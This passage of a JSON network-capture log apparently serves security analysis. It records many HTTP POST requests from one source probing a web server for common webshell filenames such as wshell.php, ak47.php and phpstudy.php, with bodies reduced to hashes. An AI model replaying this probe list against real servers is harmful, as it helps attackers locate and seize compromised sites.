          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/m.php?pbid=open",
            "http.response_in": "1046",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/m.php?pbid=open"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6bcf091d028780df0528c8b0",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1045,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255805.584484000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/error.php",
            "http.response_in": "1049",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/error.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a5982774602cfb3d57e6a81a",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "dc5eda42292e02c4bd0661d61a85656c9cfc498fc84df0e3fc39c11d5e975489",
          "frame_number": 1048,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255805.863922000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/099.php",
            "http.response_in": "1052",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/099.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7bfff01bd38e1f560aa79fb1",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1051,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255806.143819000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/_404.php",
            "http.response_in": "1055",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/_404.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-08b924f27e813f27f4dd373a",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1054,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255806.423010000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/Alarg53.php",
            "http.response_in": "1058",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/Alarg53.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4030b2f751375cbabbc4ff2b",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1057,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255806.715336000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/lapan.php",
            "http.response_in": "1061",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/lapan.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ae707da536337d3aabf25a04",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1060,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255806.996395000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/p34ky1337.php",
            "http.response_in": "1064",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/p34ky1337.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6b701cafa199bf6c40008f81",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1063,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255807.276352000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/pk1914.php",
            "http.response_in": "1067",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/pk1914.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-efe8b643b8086c13b67d6ffa",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1066,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255809.787145000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/sllolx.php",
            "http.response_in": "1070",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/sllolx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-55e9f21d0d939e23e2710777",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1069,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255810.073201000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/Skri.php",
            "http.response_in": "1073",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/Skri.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e4a2dea1ae2e2920d2b373a8",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1072,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255810.352728000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/db_dataml.php",
            "http.response_in": "1076",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/db_dataml.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-53fa22577bcb047d2a562f74",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669",
          "frame_number": 1075,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255810.633553000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/db_desql.php",
            "http.response_in": "1079",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/db_desql.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-13163ffc485f0bd8d244c23a",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669",
          "frame_number": 1078,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255811.454643000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/mx.php",
            "http.response_in": "1082",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/mx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3f579768949525543a757466",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "e7a8ee05bb0196f85adf00c64b9196dd3bc9bf0838052493634d78896767f418",
          "frame_number": 1081,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255812.954624000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/wshell.php",
            "http.response_in": "1085",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/wshell.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4c0fafb1769bec4cf73e863d",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "a698bbd9e222f8414d7cb89daad8a4e958d913f2af91e11838d94ad7a1c293ad",
          "frame_number": 1084,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255813.377545000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xshell.php",
            "http.response_in": "1088",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xshell.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ab2e6d4bb8e4f4bce04d45f4",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "de82cfb9dcaa44def410601aa958c737e74e451c058b8c964e33f1c5d01bb124",
          "frame_number": 1087,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577255813.739142000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qq.php",
            "http.response_in": "1091",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-546281536e20032a1b81d7c0",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f",
          "frame_number": 1090,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255814.023132000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/conflg.php",
            "http.response_in": "1094",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/conflg.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1670df20224ff400681225a7",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "fbc1d599972304c52bdbbb4031ec773d49f676a86c858b0720729543d7de16f0",
          "frame_number": 1093,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577255814.861145000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/conflg.php",
            "http.response_in": "1105",
            "http.content_length": "29",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/conflg.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ca692b1d791d1b96c5e67523",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "07bc2cd7b6b5cb96d0487caa89080d9b80a2c59dab7ada05fb89e53f09aa980d",
          "frame_number": 1103,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 29,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 29,
          "timestamp_epoch": "1577255824.058575000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/lindex.php",
            "http.response_in": "1108",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/lindex.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bc26ab6b9aed6ec04e43116f",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "f6b92f8e7a0f2820215864ea67ef68a73dfd4a8aa7c71a3c86237ea8120cad4c",
          "frame_number": 1107,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577255824.342116000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/phpstudy.php",
            "http.response_in": "1111",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/phpstudy.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3c36aaa312f7a5e399f35177",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "0ec71ec402ba43c54280456053b33624a9481559ecaa96ab45ace5d42d2b8697",
          "frame_number": 1110,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255824.636495000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/phpStudy.php",
            "http.response_in": "1114",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/phpStudy.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bbe21bc5fb70bba5a0ae0ddd",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 1113,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255824.903654000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/weixiao.php",
            "http.response_in": "1117",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/weixiao.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b1e3930d11c574d639a1796a",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "233c5bb3d97bdc6393fa229ec35347ccfebba51f519d3013bc833c7f867eab9e",
          "frame_number": 1116,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577255825.857750000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/feixiang.php",
            "http.response_in": "1120",
            "http.content_length": "26",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/feixiang.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-415b2fb987376063c1b6066d",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "8b0f92db662e01955869d186ec124ffcc99aa548f070b9f55827f01977914f4d",
          "frame_number": 1119,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 26,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 26,
          "timestamp_epoch": "1577255826.130493000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ak47.php",
            "http.response_in": "1123",
            "http.content_length": "27",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ak47.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-550c97f9cac3ca193fee2487",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "6969deae0d6a67ac80b1725825af06e963e4a1457a86b570d6f434a361292bfb",
          "frame_number": 1122,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 27,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 27,
          "timestamp_epoch": "1577255826.398833000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ak48.php",
            "http.response_in": "1127",
            "http.content_length": "27",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ak48.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-227b8bd75b54c653502ec998",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "6969deae0d6a67ac80b1725825af06e963e4a1457a86b570d6f434a361292bfb",
          "frame_number": 1125,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 27,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 27,
          "timestamp_epoch": "1577255827.233231000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xiao.php",
            "http.response_in": "1130",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xiao.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-021c60b84ba91fa4e5f63978",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "dc5eda42292e02c4bd0661d61a85656c9cfc498fc84df0e3fc39c11d5e975489",
          "frame_number": 1129,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255827.500557000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/yao.php",
            "http.response_in": "1133",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/yao.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f37280ffd65becc46fd2270b",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "207029dc899d5175df605dd25e4d60af77b5bf2b5bf75eaa951b0fca7615cd20",
          "frame_number": 1132,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577255827.767526000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/defect.php",
            "http.response_in": "1136",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/defect.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-23da24630a424a81622a1829",
          "src_port": 52354,
          "tcp_stream": 31,
          "udp_stream": null,
          "body_sha256": "f4bdfe1a51f53263d3692ca20b33dbb8b42d23b3bc846058792ce6f3aa7042c2",
          "frame_number": 1135,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577255828.034612000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
